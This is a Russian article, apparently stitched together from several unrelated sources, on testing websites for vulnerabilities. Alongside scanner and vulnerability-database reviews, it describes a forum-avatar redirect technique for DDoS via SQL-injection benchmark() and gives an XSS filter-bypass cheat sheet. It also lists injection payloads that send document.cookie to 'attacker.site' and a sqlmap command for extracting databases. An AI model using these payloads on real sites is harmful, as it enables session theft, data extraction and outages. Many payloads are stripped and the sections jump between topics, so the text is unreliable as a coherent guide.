Как проверить свой сайт на уязвимость

Как выбрать сервис для тестирования сайта на уязвимости?

Есть три типа сервисов для поиска уязвимостей и ошибок на сайте — программы, требующие установки на компьютер, онлайн- и облачные сервисы.

Программы для поиска уязвимостей

Программу нужно скачать и установить на свой компьютер. Потом запустить проверку сайта. На форумах специалисты пишут, что таким способом можно найти наибольшее число уязвимостей и ошибок. Но чтобы исправить все эти ошибки, вам придется разбираться самостоятельно или обратиться за помощью к разработчику.
Программа ищет уязвимости и ошибки не постоянно, а только когда вы запускаете проверку. Поэтому, чтобы находить ошибки раньше хакеров, проверяйте сайт почаще.
Пример программы для тестирования сайта на ошибки и уязвимости: SQLmap.

Чтобы установить программу sqlmap, перейдите на страницу загрузки и скачайте архив

Онлайн-сервисы

Для работы с онлайн-сервисами ничего скачивать и устанавливать не нужно. Они работают в браузере.
Некоторые сервисы просто выдают список уязвимостей и ошибок. Другие (например, coder-diary.ru) дают не только список, но и подсказывают их как устранить.

Пример рекомендации по устранению уязвимости в сканере от coder-diary.ru
Разные сервисы могут находить разные ошибки

Мы рекомендуем проверять ошибки сразу в нескольких сервисах, чтобы получить максимально полный отчет.
Также обратите внимание, что некоторые онлайн-сервисы для анализа сайтов могут быть платными

Примеры сервисов:

  • Сканер уязвимостей сайта от coder-diary.ru
  • Website Grader

Результаты сканирования сайта в Website Grader

Облачные сервисы

Сканируют сайт с помощью файла, который владелец сайта должен разместить в корневом каталоге сайта.
После подключения сайта мониторинг на уязвимости и ошибки проходит в онлайн режиме. При возникновении угрозы владельцу сайта на электронную почту приходит письмо с описанием угрозы, вероятной причиной ее возникновения и рекомендованными путями решения проблемы.
Этот способ предпочтителен, если над сайтом одновременно работают несколько человек и могут случайно или намеренно добавить уязвимый php-код.
К сожалению, в бесплатном доступе подобных сервисов нет — за эту услугу нужно ежемесячно платить.
Пример такого сервиса — VirusDie.

Внешний вид отчетов в VirusDie

DDOS

Ситуация та же. Любой пользователь любым образом имеет возможность добавить в текст сообщения изображение со стороннего сайта, которое будет доступно всем, открывающим эту html страницу

Теперь, допустим, в третьем сайте, имеется любая уязвимость – некоторый документ при некоторых параметронах потребляет слишком много системных ресурсов.

В первую очередь я имею ввиду SQL инъекцию, с возможностью внедрения benchmark() функции, таким образом, что один запрос сильно нагрузит уязвимый сервер.

Об уязвимости типа SQL инъекция и в том числе об использовании фунункции benchmark в SQL запросе для проведения DOS атаки, рассказано в этой статье
http://www.securitylab.ru/45438.html

Размещая в рассматриваемом форуме (предполагаем, что он имеет большую посещаемость), большое количество сообщений, содержащих изображения с URL-ом на самом деле эксплуатирующую уязвимость в третьем сайте.

Этот метод атаки, на первый взгляд кажется не эффективным по нескольким причинам.

Не во всех случаях удастся поставить такой URL в качестве ссылки на изображение по той причине, что различные фильтры не сервере могут заблокировать сложный URL.

Врядли за малый промежуток времени удастся разместить большое количество таких сообщений.

Однако, используя следующий прием, можно свести к нулю оба этих замечания.

Хакер оставляет большое количество сообщений на часто посещаемых форумах, с ссылкой на изображение, находящееся на контролируемом им сервере.

Лучше всего для таких целей подходит ссылка на аватар.

После того, как накоплена значительная база таких сообщений, скрипт, ранее, возвращающий содержимое изображения, станет возвращать заголовок HTTP ответа 301 – moved, с указанным в Location заголовке URL, эксплуатирующим уязвимость в третьем сайте.

Конечно, с этого момента, изображение открываться не будет. Но, каждый посетитель, открывающий любую страницу с таким изображением сам того не ведая будет участвовать в DDOS атаке на такой скрипт.

В зависимости от накопленной базы таких сообщений, и мощности третьего сервера, результат может быть как значительное торможение сервера так и полной выход из строя сервера на период атаки или до исправления уязвимости.

Подсказки по эксплуатации XSS и обходу фильтров

Здесь собраны некоторые примеры, которые могут помочь вам обойти XSS фильтры, это может оказаться полезным в различных контекстах и может помочь вам в выполнении XSS.

Базовая полезная нагрузка XSS:


">
">

Внутри тэга Script:


");alert("xss-by-shawar");//

Обход ограничения тэга script путём замены регистра:

">

XSS с использованием тэгов Image и HTML:

Работает только в Chrome

">
">
">
">clickme
">
">

hover on me

«>
«>

В контексте стилей (работает только на старых версиях IE,, например IE 8, IE 7)

Если input внутри тэга

body{xss:expression(alert("XSS by Shawar Khan"))}

Если input внутри атрибута style=»  «:

xss:expression(alert(/xss-by-shawar/)

Обход фильтрации тэга script:

alert(/xss-by-shawar/)
foo

Продвинутая полезная нагрузка:

Шестнадцатеричная кодировка

">
">ClickMe
">

clickme

«>Click me#a clickme

Некоторые альтернативы полезных ключевых слов:

alert = au006ceru0074
prompt = pu0072omu0070u0074
confirm = cou006efiru006d
javascript = jAvascript
: = :
( = (
) = )
использование alert(/xss/) в ссылке = alert%28 /xss/%29 example: clickme
base64 alert(2) = data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+

При подготовке материала многое подсмотрено у

https://shawarkhan.com

Следующий урок «Контексты внедрения XSS».

Как проверить на уязвимости самописный сайт

С тестированием самописных сайтов все намного сложнее. Нет конкретного сканера, который сказал бы: вот тут есть старая версия веб-приложения, в нем известная дыра, вот ссылка на эксплоит и подробное описание его применения. Есть только очень обширный список потенциальных уязвимостей, которые нужно проверить. Проводят такие пентесты по методике OWASP или собственным алгоритмам.

Тестирование на проникновение — дело сугубо творческое. В нем нет жестких рамок и перечня обязательных инструментов, особенно если они опенсорсные. Однако аудит безопасности — серьезная услуга, и некоторые организации стараются структурировать ее выполнение, чтобы в полете фантазии пентестер ничего не пропустил.

Одним из способов это сделать стало руководство OWASP Testing Guide v4. Это подробный сборник правил обнаружения уязвимостей веб-приложений. Ребята собрали и описали доступным языком методы тестирования уязвимостей десяти наиболее распространенных классов — OWASP 10.

Если нужно проверить возможность взлома самописного сайта, то лучше начинать с того же WhatWeb. Только теперь мы смотрим не CMS, а все обнаруженные сервисы и их версии.

Есть множество уязвимых версий самих фреймворков. К примеру, зачастую используют устаревшие версии Ruby on Rails или Apache Tomcat. Эксплоиты для них есть в открытом доступе.

Также стоит обратить внимание на версии самих языков программирования. К примеру, в PHP постоянно находят уязвимости, а с момента их обнаружения до апдейта на сайте может пройти не одна неделя

Следующим шагом желательно воспользоваться сканерами безопасности. Даже если они не дадут готовый вердикт, то подкинут пищу для размышлений. Например, программа dirb поможет пробежаться по открытым директориям и вернет коды ответов.

Для проверки на типовые уязвимости воспользуйся универсальными сканерами: nikto, OWASP ZAP, w3af, skipfish. Также советую иметь в запасе mantra security toolkit.

Nikto

Для всего остального есть Burp Suite. Обычно с его помощью выполняется более сложный поиск уязвимостей веб-приложений. В качестве примера рассмотрим поиск и эксплуатацию SQL-инъекций.

Ставим Burp Suite (в Kali Linux он уже предустановлен), находим в нем Repeater (повторитель запросов) и запускаем. В запросе GET или POST ищем передаваемое на сервер значение (типа id=12) и закидываем его в Repeater.

SQL-инъекция в Repeater

Добавляем одинарную кавычку, чтобы проверить отсутствие фильтрации специальных символов в передаваемом значении, и видим сообщение с ошибкой syntax error sql. Возникновение ошибки говорит о том, что сайт уязвим к SQL-инъекциям. Для автоматизации развития атаки используем sqlmap.

1 sqlmap-uhttp//url/page.php?id=1 —dbs

Ключ -u указывает на URL цели, а —dbs говорит проверить все СУБД.

Sqlmap

Этот комбайн для SQL-инъекций сам определит, какой пейлоад подходит, и по твоим командам вытащит все нужные данные из баз на сайте. Он даже предложит сразу определить пароли по хешам, если найдет. Особенно этот софт полезен при эксплуатации так называемых слепых SQL-инъекций.

Какой риск, что сайт взломают?

60% всех взломов происходят благодаря наличию уязвимостей в веб-приложениях.

Самый удобный способ обнаружить уязвимости веб-приложения — это внешний аудит. Благодаря которому, проверка производится без необходимости предоставлять исходные коды вашего ПО.

На просторах Интернета можно найти большое количество, как «сетевых сканеров», так и «сканеров кода». Последних, правда, несравнимо меньше, возможно, потому, что их создание сложнее. Думаю, вопрос: «Какой из этих типов лучше?», не уместен. Так как это два разных подхода к решению, зачастую, разных задач. И то, что могут одни, совершенно не могут другие.

В этой статье речь пойдет о таком «сканере» как «METASCAN», который работает как онлайн сервис. «Сканер кода», в отличии от «сетевого сканера», подбирающего параметры в адресной строке, или в формах, удобен для устранения уязвимостей, но мало подходит для взлома сайтов.

Спросите почему? Во-первых потому, что для проверки нужно иметь доступ к проекту, а, раз вы его имеете, то, скорее всего, это ваш проект, и взламывать как бы ничего и не требуется.

А вот устранение ошибок и “дыр”, найденных после того как проверка сайта на уязвимости будет окончена, сводится к очень простым действиям. Посколько, они выдают не XSS-вектор, а файл, в котором есть уязвимость, строку кода и не безопасный параметр. И вам остается только внести изменения в нужном месте файла, для их устранения.

«Сканер кода» также отличает то, что он способен найти те уязвимости, которые «сетевой сканер» не могут найти в принципе.

Если взять образное сравнение, то «сканер кода» открывает черный ящик, и просто смотрит, что внутри. А «сетевой сканер» пытается: потрясти черный ящик, взвесить, измерить температуру, потыкать его иголками, и, таким образом, определить, что внутри. Преимущество последнего перед «сканером кода» в том, что он проверяет настройки сервера (хостинга) на наличие уязвимостей, чего, конечно, не делает «сканер кода» по понятным причинам.

Если поднять вопрос, чем лучше проверить сайт, «сканером кода» или «сетевым сканером», то напрашивается только один ответ. Проверьте ваш проект «сканером кода«, устраните найденные им уязвимости, а потом проверьте ваш сайт «сетевым сканером». Как говорится, «лучше перебдить». Ведь инструменты для взлома сайтов часто можно найти в свободном доступе. Выход один — устранить уязвимости до того, как их найдет кто-то другой.

Анализ данных

Анализ полученных данных показывает, что более 7% всех проанализированных сайтов может быть скомпрометирована полностью автоматически. Около 7,72% приложений содержат уязвимости высокой степени риска, обнаруженные при автоматическом сканировании систем (Рис. 1). Однако при детальной ручной и автоматизированной оценке методами черного и белого ящика вероятность обнаружения уязвимости высокой степени риска достигает 96,85%.

В значительной степени это связанно с тем, что при детальном анализе оценка риска более адекватна и учитывает не только тип уязвимости, но и реальные последствия её эксплуатации с учетом архитектуры и реализации приложения. Кроме того, важным фактором является тот факт, что в автоматическом сканировании участвовали сайты хостинг-провайдера, в некоторых случаях не содержащие активного контента, в то время как работы по оценке защищенности, как правило, проводятся для приложений содержащих сложную бизнес-логику. Т.е. результаты автоматизированных сканирований можно интерпретировать как данные для среднего Интернет-сайта, в то время как «BlackBox» и «WhiteBox» больше относятся к интерактивным корпоративным Web-приложениям.

Рис. 1 Вероятность обнаружения уязвимостей различной степени риска

Наиболее распространенными уязвимостями являются Cross-Site Scripting, Information Leakage, SQL Injection и Predictable Resource Location (Рис. 2). Как правило, уязвимости типа Cross-Site Scripting и SQL Injection возникают по причине ошибок в разработке систем, в то время как Information Leakage и Predictable Resource Location зачастую связаны с недостаточно эффективным администрированием (например, разграничением доступа) в системах.

Рис. 2 Наиболее распространенные уязвимости

Рис. 3 Процент уязвимостей от общего числа

При детальном анализе систем методами BlackBox и WhiteBox ощутимый процент сайтов оказались уязвимы также для Content Spoofing, Insufficient Authorization и Insufficient Authentication (Рис. 4). Причем вероятность обнаружения уязвимостей типа SQL Injection при таком подходе к анализу защищенности достигает 25%.

Рис. 4 Наиболее распространенные уязвимости (BlackBox & WhiteBox)

Рис. 5 Процент уязвимостей от общего числа (BlackBox & WhiteBox)

Если рассматривать вероятность обнаружения уязвимости с точки зрения классов Web Application Consortium Threat Classification version 1 (см. Табл. 1 и Рис. 6), то наиболее распространенны классы Client-side Attacks, Information Disclosure и Command Execution. Детальный анализ кроме того подтверждает распространенность классов Authentication

и Authorization (см. Рис. 7).

Табл. 1 Распределение вероятности обнаружения уязвимости по классам WASC TCv1

% ALL

% Scans

% Black & WhiteBox

Authentication

1,17%

0,02%

20,82%

Authorization

1,28%

0,07%

19,01%

Client-side Attacks

33,13%

31,17%

69,37%

Command Execution

8,15%

7,32%

27,85%

Information Disclosure

31,78%

30,42%

56,54%

Logical Attacks

0,90%

0,20%

13,92%

Рис. 6 Распределение вероятности обнаружения уязвимости по классам WASC TCv1

Рис. 7 Распределение вероятности обнаружения уязвимости по классам WASC TCv1 (BlackBox & WhiteBox)

5) Контекст JavaScript

Внутри раздела страницы JavaScript кода.

Это относится к разделу, заключённому в тэги SCRIPT, в значения атрибутов обработчиков событий и в URL, обрабатывающихся с JavaScript.

Внутри JavaScript пользовательский ввод может появляться в следующих контекстах:

  • a) Контекст кода
  • b) Контекст строки внутри одинарных кавычек
  • c) Контекст строки внутри двойных кавычек
  • d) Контекст комментария в одну строку
  • e) Контекст комментария в несколько строк
  • f) Строки, которые отправляются исполняющим поглотителям

Если пользовательский ввод между тэгами SCRIPT, то не имеет значения, в каком из контекстов он появился, вы можете переключиться на контекст HTML просто включив закрывающий тэг SCRIPT, а затем вставить любой HTML.

Например: 

Если вы не собираетесь переключаться на HTML контекст, тогда вам нужно специально обработать ввод в зависимости от специфичного JavaScript контекста, в котором он появляется.

a) Контекст кода

function dev_func(input) {some_js_code}

dev_func(пользовательский_ввод);

some_variable=123;

Это исполняемый контекст, пользовательский ввод напрямую появляется в выражении и вы можете напрямую ввести элементы JavaScript и они будут выполнены.

Например: 

$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//

b) Контекст строки внутри одинарных кавычек

var some_variable=’пользовательский_ввод’;

Это не исполняемый контекст и пользовательский ввод должен включать одинарную кавычку в начале для выхода из контекста строки и перехода в контекст кода.

Например:

‘; $.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//

c) Контекст строки внутри двойных кавычек

var some_variable=»пользовательский_ввод»;

Это не исполняемый контекст и пользовательский ввод должен включать двойную кавычку в начале для выхода из контекста строки и перехода в контекст кода.

Например: 

«; $.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//

d) Контекст команды в одну строку

some_js_func();//пользовательский_ввод

Это не исполняемый контекст и пользовательский ввод должен включать символ новой строки для выхода из контекста комментария строки и переключения в контекст кода.

Например: 

\r\n$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//

e) Контекст многострочного комментария

some_js_func();

/* 

пользовательский_ввод

*/

some_js_code

Это не исполняемый контекст и пользовательский ввод должен включать */ для выхода из контекста многострочного комментария и переключения в контекст кода.

Например: 

*/$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//

f) Строка, предназначенная для исполнителей кода

Эти контекст строк заключённых в кавычки или в двойные кавычки, но важно то, что эти строки передаются функциями или назначаются свойствам, которые будут обработаны как исполняемый код.

Вот несколько примеров:

  • eval(«пользовательский_ввод»);
  • location = «пользовательский_ввод»;
  • setTimeout(1000, «пользовательский_ввод»);
  • x.innerHTML = «пользовательский_ввод»;

Это должно обрабатываться похожим образом с контекстом кода.

Зарубежные сайты для поиска уязвимостей

Теперь когда мы знаем, что такое CVE, давайте перейдем к списку лучших сайтов для поиска уязвимостей. Я намеренно начинаю обзор с зарубежных ресурсов

Рекомендую обратить внимание именно на них. Ведь информационная безопасность как и любая другая область IT требует знания английского языка

Без этого никак, и чем раньше вы начнете выходить из зоны комфорта и мучить этим свой мозг, тем лучше.

CIRCL

Центр реагирования на компьютерные инциденты CIRCL — это организация, которая фокусируется на взломах и информационной безопасности.

На сайте CIRCL представлены публикации исследований безопасности и база данных уязвимостей для поиска.

VulDB

На протяжении десятилетий специалисты VulDB работали с крупными и независимыми сообществами в сфере информационной безопасности для создания базы данных с возможностью поиска более 124000 уязвимостей.

Сотни новых уязвимостей еженедельно добавляются на сайт, которые в зависимости от серьезности получают метку (низкий, средний, высокий).

SecurityFocus

В прошлом SecurityFocus информировал о случаях взлома и публиковал всевозможные материалы по теме информационной безопасности.

В настоящее время сервис отслеживает отчеты об ошибках программного обеспечения и с 1999 года ведет архив CVE с возможностью быстрого поиска уязвимости.

40day.today

0day.today (доступный через Tor) — это база данных уязвимостей, которая также продает личные эксплойты, цена которых не превышает 5000$.

Есть несколько сообщений о мошеннических действиях с частными продажами, но несмотря на это база данных уязвимостей, доступна для бесплатного поиска и вполне законна для использования.

Rapid7

У Rapid7, создателей знаменитого фреймворка Metasploit, тоже есть свой архив уязвимостей. Однако, в отличие от других баз данных, Rapid7 очень редко использует фактический код уязвимости CVE. Вместо этого сервис предлагает советы, содержащие полезные ссылки на соответствующую документацию для исправления, а также ссылки на модули msfconsole.

К примеру, вышеупомянутую уязвимость SSH CVE-2018-15473 можно найти в msfconsole и применить с большой легкостью.

NIST

Национальный институт стандартов и технологий NIST — это одна из старейших физико-технических лабораторий в США. В настоящее время он участвует в проекте «Национальная инициатива по образованию в области кибербезопасности».

Ведет свою базу данных уязвимостей, которая открыта для публичного использования.

Packet Storm Security

Packet Storm Security не предназначен для поиска уязвимостей. На сайте Packet Storm вы можете узнавать о новостях мира информационной безопасности, читать публикации о новых уязвимостях и инструментах используемых в пентесте и в защите от компьютерных атак.

Exploit Database

База данных Exploit Database в настоящее время поддерживается организацией Offensive Security, которая специализируется на взломе Windows и безопасности веб-приложений.

В своей базе данных, доступной для поиска, на данный момент более 40000 уязвимостей. Есть также сервис Google hacking database, о котором мы рассказывали в статье Google Dorks.

Exploit Database — это очень популярный сервис, которым пользуются пентестеры и хакеры. На мой взгляд это самый удобный сервис. Найти уязвимость можно как по названию, так и по определенным категориям, которые упрощают поиск.

Vulners

Vulners, основанная Киром Ермаковым, представляет собой базу данных CVE, в настоящее время содержащую более 176500 уязвимостей. Сайт включает статистику CVE, аудитор управления уязвимостями Linux.

Ссылки

“CERT Advisory CA-2000-02 — Malicious HTML Tags Embedded in Client Web Requests”, CERT, February 2nd, 2000
http://www.cert.org/advisories/CA-2000-02.html

“Cross Site Scripting Explained”, Amit Klein, June 2002
http://crypto.stanford.edu/cs155/CSS.pdf

“Cross-Site Scripting”, Web Application Security Consortium, February 23rd, 2004
http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml

“Cross Site Scripting (XSS) Flaws”, The OWASP Foundation, updated 2004
http://www.owasp.org/documentation/topten/a4.html

“Thor Larholm security advisory TL#001 (IIS allows universal CrossSiteScripting)”, Thor Larholm, April 10th, 2002
http://www.cgisecurity.com/archive/webservers/iis_xss_4_5_and_5.1.txt

(см. также Microsoft Security Bulletin MS02-018 http://www.microsoft.com/technet/security/bulletin/MS02-018.mspx)

“ISA Server Error Page Cross Site Scripting”, Brett Moore, July 16th, 2003
http://www.security-assessment.com/Advisories/ISA XSS Advisory.pdf

(см. также Microsoft Security Bulletin MS03-028 http://www.microsoft.com/technet/security/bulletin/MS03-028.mspx и более подробное описание в “Microsoft ISA Server HTTP error handler XSS”, Thor Larholm, July 16th, 2003 http://www.securityfocus.com/archive/1/329273)

“Bugzilla Bug 272620 — XSS vulnerability in internal error messages”, reported by Michael Krax, December 23rd, 2004
https://bugzilla.mozilla.org/show_bug.cgi?id=272620

“The Cross Site Scripting FAQ”, Robert Auger, May 2002 (revised August 2003)
http://www.cgisecurity.com/articles/xss-faq.shtml

Методика атаки через XSS

Запуск вредоносного кода JavaScript возможен только в браузере жертвы, поэтому сайт, на который зайдет пользователь, должен иметь уязвимость к XSS. Для совершения атаки злоумышленник изначально проверяет ресурсы на наличие уязвимостей через XSS, используя автоматизированные скрипты или ручной режим поиска. Обычно это стандартные формы, которые могут отправлять и принимать запросы (комментарии, поиск, обратная связь).

Проводится полный сбор страниц с формами ввода, и каждая сканируется на наличие уязвимостей. Например, у нас есть страница «Поиск» на сайте. Для проверки уязвимости XSS достаточно ввести запрос:

Если на экране появится уведомление, значит вы обнаружили брешь в безопасности. В противном случае система отобразит вам страницу с результатами поиска. Основные популярные CMS уже давно лишились подобных проблем, но из-за возможности расширения функционала за счет модулей и плагинов, создаваемых сторонними разработчиками, шансы на использование уязвимостей XSS возрастают в разы, особенно в Joomla, DLE, Bitrix, WordPress. Чаще всего XSS-уязвимости проверяются в браузере Internet Explorer.

Еще один возможный вариант поиска – использование страниц, которые обрабатывают GET-запросы. Допустим, у нас есть ссылка вида: http://site.ru/catalog?p=8

В адресной строке вместо идентификатора (8) добавляем скрипт – «>, в результате чего получаем ссылку такого вида: http://site.ru/catalog?p= «>.

Если страница имеет уязвимости XSS, на экране появится уведомление такого же плана, как и в первом случае.

Для поиска «дыр» на сайте существует огромное количество готовых скриптов и запросов, и если ни один из них не подходит, значит ресурс надежно защищен от подобных атак.

Virusdie – надёжный помощник в поиске и устранении SQL-уязвимостей

Универсальное решение при борьбе с уязвимостями SQL предлагает крупный антивирусный сервис Virusdie.

Его отличие от стандартных сканеров в простоте и удобстве использования. Разработчики не предлагают ничего скачивать и устанавливать для запуска процессов сканирования, – вся работа происходит после подключения через облачные технологии.

Антивирусная платформа проверяет подключённые сайты в автоматическом режиме, находя и определяя вирусы, внедрённый вредоносный код и различные XSS/SQL инъекции. Кроме проверки сайта на SQL-уязвимости онлайн Virusdie предлагает эффективные способы разрешения возникших проблем и удаление уязвимостей в автоматическом или ручном режиме (в особо проблемных случаях – с привлечением технического персонала сервиса).

Важное преимущество для далёких от программирования людей заключается в том, что управление ведётся на основе сервисного интерфейса, без взаимодействия с панелями управления сервером или FTP и без переписывания доменных записей. Подключить сайт к Virusdie можно непосредственно по защищённым каналам HTTP/HTTPS, используя при этом уникальный для каждого пользователя файл синхронизации

Проверка на SQL-уязвимость для сайта облегчается в разы: пользователю не нужно искать в интернете и устанавливать специализированные сканеры, настраивая их для тестирования слабых мест особым образом. В то же время антивирусная платформа  не просто находит поражения в базах данных, но и автоматически устраняет их.

Virusdie относится к тем универсальным антивирусным инструментам, которые облегчают владельцам сайтов их обслуживание, экономя время, затраты, связанные с техническим обеспечением. И это одна из главных причин того, почему этот сервис выбирают компетентные веб-мастера.

Примеры XSS уязвимостей.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

Существует два типа XSS уязвимостей — пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи

Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

Пример и комментарии

Перед описанием простейшего сценария атаки важно подчеркнуть, что методы, описываемые здесь, уже неоднократно демонстрировались публично (например, , и ). Я не претендую на то, что приведенные ниже методики описываются впервые (хотя некоторые из них имеют отличия от ранее опубликованных материалов)

Признаком уязвимого сайта может служить наличие HTML страницы, использующей данные из document.location, document.URL или document.referrer (или любых других объектов на которые может влиять атакующий) небезопасным способом.

Примечание для читателей незнакомых с этими объектами Javascript: когда код Javascript выполняется в браузере, он получает доступ к нескольким объектам, представленных в рамках DOM (Document Object Model – Объектная Модель Документа). Объект document является главным среди этих объектов и предоставляет доступ к большинству свойств страницы. Этот объект содержит много вложенных объектов, таких как location, URL и referrer. Они управляются браузером в соответствии с точкой зрения браузера (как будет видно ниже, это весьма существенно). Итак, document.URL и document.location содержат URL страницы, а точнее, то, что браузер подразумевает под URL

Обратите внимание, эти объекты не берутся из тела HTML страницы. Объект document содержит объект body, содержащий обработанный (parsed) HTML код страницы

Не сложно найти HTML страницу, содержащую Javascript код, который анализирует строку URL (получив к ней доступ через document.URL или document.location) и в соответствии с ее значением выполняет некоторые действия на стороне клиенте. Ниже приведен пример такого кода.

По аналогии с примером в рассмотрим следующую HTML страницу (предположим, что это содержание http://www.vulnerable.site/welcome.html):

Welcome!HiWelcome to our system…

Однако запрос наподобие этого –

http://www.vulnerable.site/welcome.html?name=

вызвал бы XSS. Рассмотрим, почему: браузер жертвы, получивший это ссылку, отправляет HTTP запрос на www.vulnerable.site и получает вышеупомянутую (статическую!) HTML страницу. Браузер жертвы начинает анализировать этот HTML код. DOM содержит объект document, имеющий поле URL, и это поле заполняется значением URL текущей страницы в процессе создания DOM. Когда синтаксический анализатор доходит до Javascript кода, он выполняет его, что вызывает модификацию HTML кода отображаемой страницы. В данном случае, код ссылается на document.URL и так как часть этой строки во время синтаксического разбора встраивается в HTML, который сразу же анализируется, обнаруженный код (alert(…)) выполняется в контексте той же самой страницы.

Замечания:

  1. Злонамеренный код не встраивается в HTML страницу (в отличие от других разновидностей XSS).
  2. Этот эксплойт будет работать при условии, что браузер не модифицирует символы URL. Mozilla автоматически кодирует символы ‘’ (в %3C и %3E соответственно) во вложенных объектах document. Если URL был напечатан напрямую в строке адреса, этот браузер неуязвим для атаки описанной в этом примере. Однако, если для атаки не нужны символы ‘’ (в исходном незакодированном виде) атаку можно осуществить. Microsoft Internet Explorer 6.0 не кодирует ‘’ и поэтому уязвим к описанной атаке без каких-либо ограничений. Однако существует много различных сценариев атаки, не требующих ‘’, и поэтому даже Mozilla не имеет иммунитета к этой атаке.

Скачивание и первый запуск IronWASP

После скачивания разархивируйте файл, запустите IronWASP.exe. Небольшое предупреждение: при сканировании программа сохраняет огромное количество логов, размер которых может растянуться на гигабайты, поэтому переместите папку с программой на диск с достаточным количеством места. Кстати, программа является портативной — т. е. не требует установки.

Если вы хотите одновременно сканировать 2 и более сайтов, то сделайте несколько папок с программой и каждую из них запускайте отдельно для определённого сайта.

При каждом запуске мы видим такое окно:

IronWASP необходим локальный HTTP прокси сервер, чтобы она смогла анализировать веб-траффик. Не нужно беспокоится — программа всё сделает сама. Именно этому и посвящено первое окно. Мы можем поменять порт, установить, может ли наш прокси сервер принимать подключения с удалённых хостов, включить или отключить активное подслушивание трафика из веб-браузеров, задать настройки вышестоящего прокси (если мы хотим скрыть свой реальный IP). Можно оставить все настройки по умолчанию — для анализа веб-сайтов они подходят. Если вы одновременно запускаете несколько копий IronWASP для параллельного сканирования нескольких веб-сайтов, то для каждого экземпляра IronWASP можно задать свой собственный порт HTTP прокси.

Ссылка на основную публикацию